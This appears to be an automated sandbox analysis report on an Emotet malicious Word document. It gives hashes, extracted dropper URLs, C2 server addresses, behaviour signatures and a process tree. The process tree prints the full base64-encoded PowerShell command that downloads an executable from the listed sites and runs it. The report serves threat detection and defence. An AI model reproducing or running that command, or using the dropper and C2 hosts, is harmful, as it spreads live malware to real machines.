Analysis
- max time kernel
138s - max time network
147s - platform
windows10_x64 - resource
win10v200722 - submitted
15/09/2020, 18:43
General
- Target emotet_e1_73184ff3bd237911914b6bb6d55791bc76cbeba33b5abe8dd2be566fb6eec3a3_2020-09-15__183947._doc.doc
- Size 156KB
- Sample200915-vrtckbr8xj
- SHA256 73184ff3bd237911914b6bb6d55791bc76cbeba33b5abe8dd2be566fb6eec3a3
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://belhao.com/wp-includes/gg/
-
exe.dropper
http://badacareer.com/5f2o/hN/
-
exe.dropper
http://siili.net/wp-admin/dnE/
-
exe.dropper
https://sulselekspres.com/TEST777/a/
-
exe.dropper
http://nouralanwar.com/cgfo/k/
-
exe.dropper
https://povedavicedo.com/wp-admin/E5/
-
exe.dropper
https://shoyannutrition.com/wp-includes/kn/
Extracted
Family
-
emotet
C2
-
155.186.0.121:80
-
51.38.124.206:80
-
82.196.15.205:8080
-
38.88.126.202:8080
-
219.92.13.25:80
-
111.67.77.202:8080
-
95.9.180.128:80
-
77.90.136.129:8080
-
190.163.31.26:80
-
74.136.144.133:80
-
104.131.103.37:8080
-
45.33.77.42:8080
-
192.241.143.52:8080
-
78.249.119.122:80
-
177.74.228.34:80
-
152.169.22.67:80
-
92.24.50.153:80
-
5.189.178.202:8080
-
104.131.41.185:8080
-
82.230.1.24:80
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 15 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_73184ff3bd237911914b6bb6d55791bc76cbeba33b5abe8dd2be566fb6eec3a3_2020-09-15__183947._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABYAGsAbwBvAGgAbABwAD0AKAAnAE4AJwArACcAZAAnACsAKAAnADAAYQByACcAKwAnAGMAcgAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAcgBQAHIAbwBGAEkAbABlAFwAawA4AEgAOAA5AFgAcwBcAEsAYwBGADUAWQBGADEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAYABVAGAAUgBgAEkAdAB5AHAAUgBvAHQAbwBjAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxACcAKwAoACcAMgAsACAAdAAnACsAJwBsAHMAMQAxACcAKQArACgAJwAsACcAKwAnACAAdABsAHMAJwApACkAOwAkAEoAMABoAF8ANQAzAG4AIAA9ACAAKAAnAE0AJwArACgAJwBlAG4AbwAnACsAJwA5ADMAJwApACsAKAAnAGUAZgAnACsAJwBkACcAKQApADsAJABNAHQAMwBtAHIAaABpAD0AKAAnAEMAJwArACgAJwB1ACcAKwAnAG4AMAAnACsAJwBtAGQAcwAnACkAKQA7ACQAVQB2AGQANwB2ADgAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQAnACsAKAAnAEsAJwArACcAOABoACcAKQArACcAOAA5AHgAcwB7ADAAJwArACcAfQBLAGMAZgA1AHkAZgAxAHsAMAAnACsAJwB9ACcAKQAgACAALQBGACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQASgAwAGgAXwA1ADMAbgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAEoANQB6AHIAMgBtAHcAPQAoACgAJwBKAHQAJwArACcANAAnACkAKwAnAGwAJwArACgAJwBpACcAKwAnAGYAZgAnACkAKQA7ACQASAB3AG0AZwBfAGsAaAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAHQALgB3AGUAYgBjAGwAaQBFAG4AVAA7ACQAQQB6AGkAbABfAHkAYwA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAA6ACcAKwAoACcALwAvAGIAJwArACcAZQBsAGgAJwArACcAYQBvACcAKwAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwApACsAJwAtACcAKwAnAGkAJwArACgAJwBuAGMAbAB1ACcAKwAnAGQAJwApACsAJwBlAHMAJwArACgAJwAvAGcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACcALwAvACcAKwAnAGIAYQAnACsAJwBkAGEAJwArACcAYwAnACsAKAAnAGEAcgBlACcAKwAnAGUAcgAnACkAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwA1AGYAMgBvACcAKwAnAC8AJwArACcAaAAnACkAKwAnAE4AJwArACcALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAnAHMAJwArACcAaQBpACcAKwAnAGwAJwArACgAJwBpACcAKwAnAC4AbgAnACkAKwAoACcAZQAnACsAJwB0AC8AdwBwACcAKQArACcALQAnACsAKAAnAGEAZAAnACsAJwBtAGkAbgAnACkAKwAoACcALwBkAG4ARQAnACsAJwAvACcAKwAnACoAaAB0AHQAcABzACcAKQArACgAJwA6AC8ALwBzAHUAbABzAGUAJwArACcAbABlAGsAcwAnACsAJwBwAHIAJwArACcAZQAnACkAKwAnAHMALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AVABFAFMAVAA3ACcAKwAnADcANwAnACkAKwAnAC8AJwArACgAJwBhACcAKwAnAC8AKgBoACcAKQArACgAJwB0AHQAJwArACcAcAA6ACcAKQArACcALwAvACcAKwAnAG4AJwArACgAJwBvACcAKwAnAHUAcgBhACcAKQArACgAJwBsAGEAbgB3ACcAKwAnAGEAcgAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAYwAnACsAKAAnAGcAZgBvACcAKwAnAC8AawAvACcAKQArACcAKgAnACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAOgAvACcAKwAnAC8AcAAnACkAKwAnAG8AJwArACgAJwB2AGUAJwArACcAZABhACcAKQArACcAdgAnACsAJwBpACcAKwAnAGMAJwArACgAJwBlAGQAJwArACcAbwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwB3AHAAJwArACgAJwAtAGEAZABtACcAKwAnAGkAJwArACcAbgAvAEUAJwApACsAJwA1AC8AJwArACgAJwAqAGgAJwArACcAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAnACkAKwAnAC8AJwArACgAJwAvACcAKwAnAHMAaABvACcAKQArACgAJwB5AGEAbgAnACsAJwBuAHUAJwApACsAKAAnAHQAJwArACcAcgBpACcAKQArACgAJwB0AGkAJwArACcAbwBuACcAKQArACcALgBjACcAKwAnAG8AbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGkAbgAnACsAJwBjAGwAJwArACcAdQBkAGUAcwAnACkAKwAnAC8AJwArACgAJwBrACcAKwAnAG4ALwAnACkAKQAuACIAUwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGwANQA4AG0AaAB3AD0AKAAoACcAVQBwAF8AOQByACcAKwAnAHMAJwApACsAJwA0ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAANQB5ADMAbABmAHoAIABpAG4AIAAkAEEAegBpAGwAXwB5AGMAKQB7AHQAcgB5AHsAJABIAHcAbQBnAF8AawBoAC4AIgBkAGAATwBXAGAATgBgAGwATwBBAGQARgBJAEwAZQAiACgAJABQADUAeQAzAGwAZgB6ACwAIAAkAFUAdgBkADcAdgA4AGcAKQA7ACQAWAA2AG8AawByAHgAZgA9ACgAJwBYAHEAJwArACcAXwAnACsAKAAnADAAcAA4ACcAKwAnADUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVQB2AGQANwB2ADgAZwApAC4AIgBsAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA4ADgANwAzACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawAnACsAJwBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAFUAdgBkADcAdgA4AGcAKQA7ACQARAB5AGEAagB3ADIAZwA9ACgAJwBZAHoAJwArACcAbAAnACsAKAAnAG0AeQA1ACcAKwAnADYAJwApACkAOwBiAHIAZQBhAGsAOwAkAE4AcABuADIANgAzAHkAPQAoACgAJwBSACcAKwAnAF8AOAAnACkAKwAnAGkAJwArACgAJwB5AG0AJwArACcANwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgB0AG0ANQAzAF8AbAA9ACgAKAAnAEYAJwArACcAYwB0ACcAKQArACgAJwA5ADUAJwArACcANQAnACkAKwAnAGkAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\K8h89xs\Kcf5yf1\Meno93efd.exe"C:\Users\Admin\K8h89xs\Kcf5yf1\Meno93efd.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\dciman32\POSyncServices.exe"C:\Windows\SysWOW64\dciman32\POSyncServices.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1260-12-0x0000000003C10000-0x0000000003C20000-memory.dmp
memory/1260-11-0x00000000009E0000-0x00000000009F2000-memory.dmp
memory/2808-7-0x0000027BC0D00000-0x0000027BC0D01000-memory.dmp
memory/2808-6-0x0000027BC0B50000-0x0000027BC0B51000-memory.dmp
memory/2808-5-0x00007FF8B8320000-0x00007FF8B8D0C000-memory.dmp
memory/3736-15-0x00000000006A0000-0x00000000006B2000-memory.dmp
memory/3736-16-0x0000000000940000-0x0000000000950000-memory.dmp
memory/3888-0-0x00007FF8BF460000-0x00007FF8BFB26000-memory.dmp